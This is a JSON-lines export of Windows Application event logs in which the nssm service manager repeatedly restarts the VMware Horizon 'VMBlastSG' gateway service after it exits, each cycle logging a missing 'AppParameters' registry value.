{"@timestamp":1646821031173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166175}}
{"@timestamp":1646821031174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166176}}
{"@timestamp":1646821031175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166177}}
{"@timestamp":1646821159709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166178}}
{"@timestamp":1646821159709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166179}}
{"@timestamp":1646821159710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162004","0"]}}},"module":"Application","provider":"nssm","sequence":166180}}
{"@timestamp":1646821159713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162004","162004","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166181}}
{"@timestamp":1646821159732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166182}}
{"@timestamp":1646821159733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166183}}
{"@timestamp":1646821159733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166184}}
{"@timestamp":1646821159734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166185}}
{"@timestamp":1646821288203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166186}}
{"@timestamp":1646821288204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166187}}
{"@timestamp":1646821288205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163656","0"]}}},"module":"Application","provider":"nssm","sequence":166188}}
{"@timestamp":1646821288205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163656","163656","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166189}}
{"@timestamp":1646821288225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166190}}
{"@timestamp":1646821288226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166191}}
{"@timestamp":1646821288226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166192}}
{"@timestamp":1646821288227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166193}}
{"@timestamp":1646821416716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166194}}
{"@timestamp":1646821416717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166195}}
{"@timestamp":1646821416718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162832","0"]}}},"module":"Application","provider":"nssm","sequence":166196}}
{"@timestamp":1646821416718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162832","162832","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166197}}
{"@timestamp":1646821416735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166198}}
{"@timestamp":1646821416736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166199}}
{"@timestamp":1646821416736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166200}}
{"@timestamp":1646821416737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166201}}
{"@timestamp":1646821545325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166202}}
{"@timestamp":1646821545327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166203}}
{"@timestamp":1646821545327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159640","0"]}}},"module":"Application","provider":"nssm","sequence":166204}}
{"@timestamp":1646821545328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159640","159640","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166205}}
{"@timestamp":1646821545348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166206}}
{"@timestamp":1646821545349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166207}}
{"@timestamp":1646821545349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166208}}
{"@timestamp":1646821545350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166209}}
{"@timestamp":1646821674050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166210}}
{"@timestamp":1646821674051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166211}}
{"@timestamp":1646821674051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163388","0"]}}},"module":"Application","provider":"nssm","sequence":166212}}
{"@timestamp":1646821674052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163388","163388","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166213}}
{"@timestamp":1646821674071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166214}}
{"@timestamp":1646821674072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166215}}
{"@timestamp":1646821674072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166216}}
{"@timestamp":1646821674073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166217}}
{"@timestamp":1646821802544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166218}}
{"@timestamp":1646821802545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166219}}
{"@timestamp":1646821802546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163588","0"]}}},"module":"Application","provider":"nssm","sequence":166220}}
{"@timestamp":1646821802547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163588","163588","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166221}}
{"@timestamp":1646821802566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166222}}
{"@timestamp":1646821802567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166223}}
{"@timestamp":1646821802567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166224}}
{"@timestamp":1646821802568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166225}}
{"@timestamp":1646821931078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166226}}
{"@timestamp":1646821931081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166227}}
{"@timestamp":1646821931081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163728","0"]}}},"module":"Application","provider":"nssm","sequence":166228}}
{"@timestamp":1646821931081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163728","163728","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166229}}
{"@timestamp":1646821931103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166230}}
{"@timestamp":1646821931104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166231}}
{"@timestamp":1646821931104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166232}}
{"@timestamp":1646821931105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166233}}
{"@timestamp":1646822059607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166234}}
{"@timestamp":1646822059609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166235}}
{"@timestamp":1646822059609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161172","0"]}}},"module":"Application","provider":"nssm","sequence":166236}}
{"@timestamp":1646822059610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161172","161172","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166237}}
{"@timestamp":1646822059625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166238}}
{"@timestamp":1646822059626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166239}}
{"@timestamp":1646822059627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166240}}
{"@timestamp":1646822059627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166241}}
{"@timestamp":1646822188107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166242}}
{"@timestamp":1646822188108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166243}}
{"@timestamp":1646822188109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161284","0"]}}},"module":"Application","provider":"nssm","sequence":166244}}
{"@timestamp":1646822188110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161284","161284","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166245}}
{"@timestamp":1646822188130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166246}}
{"@timestamp":1646822188130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166247}}
{"@timestamp":1646822188131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166248}}
{"@timestamp":1646822188133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166249}}
{"@timestamp":1646822316625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166250}}
{"@timestamp":1646822316626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166251}}
{"@timestamp":1646822316627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162952","0"]}}},"module":"Application","provider":"nssm","sequence":166252}}
{"@timestamp":1646822316627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162952","162952","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166253}}
{"@timestamp":1646822316645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166254}}
{"@timestamp":1646822316646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166255}}
{"@timestamp":1646822316646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166256}}
{"@timestamp":1646822316647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166257}}
{"@timestamp":1646822445193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166258}}
{"@timestamp":1646822445198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166259}}
{"@timestamp":1646822445200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163244","0"]}}},"module":"Application","provider":"nssm","sequence":166260}}
{"@timestamp":1646822445201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163244","163244","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166261}}
{"@timestamp":1646822445226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166262}}
{"@timestamp":1646822445227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166263}}
{"@timestamp":1646822445227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166264}}
{"@timestamp":1646822445229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166265}}
{"@timestamp":1646822574024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166266}}
{"@timestamp":1646822574025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166267}}
{"@timestamp":1646822574026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162468","0"]}}},"module":"Application","provider":"nssm","sequence":166268}}
{"@timestamp":1646822574026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162468","162468","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166269}}
{"@timestamp":1646822574050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166270}}
{"@timestamp":1646822574051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166271}}
{"@timestamp":1646822574051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166272}}
{"@timestamp":1646822574052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166273}}
{"@timestamp":1646822702546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166274}}
{"@timestamp":1646822702547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166275}}
{"@timestamp":1646822702548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163552","0"]}}},"module":"Application","provider":"nssm","sequence":166276}}
{"@timestamp":1646822702549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163552","163552","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166277}}
{"@timestamp":1646822702573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166278}}
{"@timestamp":1646822702574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166279}}
